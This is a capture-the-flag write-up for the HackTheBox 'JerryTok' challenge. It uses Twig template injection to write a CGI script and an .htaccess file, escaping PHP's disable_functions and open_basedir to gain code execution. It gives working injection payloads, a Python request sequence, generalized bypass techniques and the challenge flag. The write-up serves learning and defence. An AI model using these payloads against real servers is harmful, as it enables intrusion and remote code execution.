Note
A Symfony page builds a Twig template from ?location= (createTemplate), giving SSTI inside a disable_functions/open_basedir-hardened PHP. Twig's |sort accepts a 2-arg PHP callable comparator, so |sort('file_put_contents') writes arbitrary files: plant a .cgi /readflag script and a .htaccess enabling ExecCGI (AllowOverride All), chmod it via |sort('chmod') (octal!), then request the CGI to run outside the PHP sandbox.
JerryTok — Twig SSTI → CGI drop → RCE outside the PHP sandbox
Platform: HackTheBox · Category: Web (server-side) · Stack: Symfony / Twig on Apache + php-cgi, hardened with disable_functions + open_basedir
Challenge overview
A Symfony controller renders a Twig template built from user input:
$location = $request->get('location');
$message = $this->container->get('twig')->createTemplate(
"Located at: {$location} from your ship's computer")->render();
So ?location={{7*7}} → Located at: 49 — SSTI. There's a /readflag helper, so the goal is RCE.
But PHP is locked down: the entrypoint writes disable_functions = exec,system,popen,... and
open_basedir = /www, and Twig's sandbox means you can only call Twig filters/functions — no direct
system().
Step 1 — turn Twig filters into arbitrary PHP calls
Twig's list filters accept a plain string as a PHP callable:
|map('cb')→ callscb($item)(1 argument)|sort('cb')→ calls the comparatorcb($a,$b)(2 arguments)
file_put_contents($path,$data) needs two args, so map won't do — but sort's comparator gives us
exactly two:
{{ ['/www/public/poc.cgi', "#!/bin/sh\necho Content-Type: text/plain\necho\n/readflag"]
|sort('file_put_contents') }}
i.e. file_put_contents('/www/public/poc.cgi', '<script body>'). file_put_contents is not in
disable_functions, and /www/public is inside open_basedir, so the write succeeds.
Step 2 — escape the PHP sandbox with a CGI + .htaccess
/www/public is AllowOverride All, so a dropped .htaccess is honored. Write one that enables CGI:
{{ ['/www/public/.htaccess', "Options +ExecCGI\nAddHandler cgi-script .cgi\n"]
|sort('file_put_contents') }}
Now .cgi files run as native processes via Apache mod_cgi, completely outside PHP's
disable_functions/open_basedir. Make the script executable with the same trick — but note chmod
expects an octal mode, so pass the decimal 493 (= 0755):
{{ ['/www/public/poc.cgi', 493]|sort('chmod') }}
Step 3 — run it
s.get(URL, params={"location": r'''={{ ['/www/public/poc.cgi', "#!/bin/sh\necho Content-Type: text/plain\necho\n/readflag"]|sort('file_put_contents') }}'''})
s.get(URL, params={"location": r'''={{ ['/www/public/.htaccess', "Options +ExecCGI\nAddHandler cgi-script .cgi\n"]|sort('file_put_contents') }}'''})
s.get(URL, params={"location": r'''{{["/www/public/poc.cgi", 493]|sort('chmod')}}'''})
print(s.get(URL + "/poc.cgi").text) # mod_cgi runs /readflag, no PHP sandbox
Flag: HTB{byp4ss1ng_d1s4bl3d_fuNc7i0n5_and_0p3n_b4s3d1r_c4n_b3_s0_mund4n3}
Takeaways (generalized techniques)
- Twig sandbox escape via callable-accepting filters:
|map,|filter,|sort,|reducetake a string that Twig calls as a PHP callable (call_user_func).|map('system')gives 1-arg calls;|sort('file_put_contents')(comparator = 2 args) gives 2-arg calls — enough for arbitrary file write.|sort('chmod')etc. extends the gadget set. disable_functions/open_basedirdon't constrain non-PHP execution. If you can write into a web-exposed dir withAllowOverride All, drop a.htaccess(Options +ExecCGI,AddHandler cgi-script .cgi) plus a CGI script — mod_cgi spawns a real process, sidestepping PHP hardening entirely.chmod()takes octal: pass the decimal equivalent (0755→493) when you can't write a literal0o755.
Sources & references
- Challenge source:
hackthebox/web/jerrytok - Twig sort/map callable abuse (PHP SSTI): https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection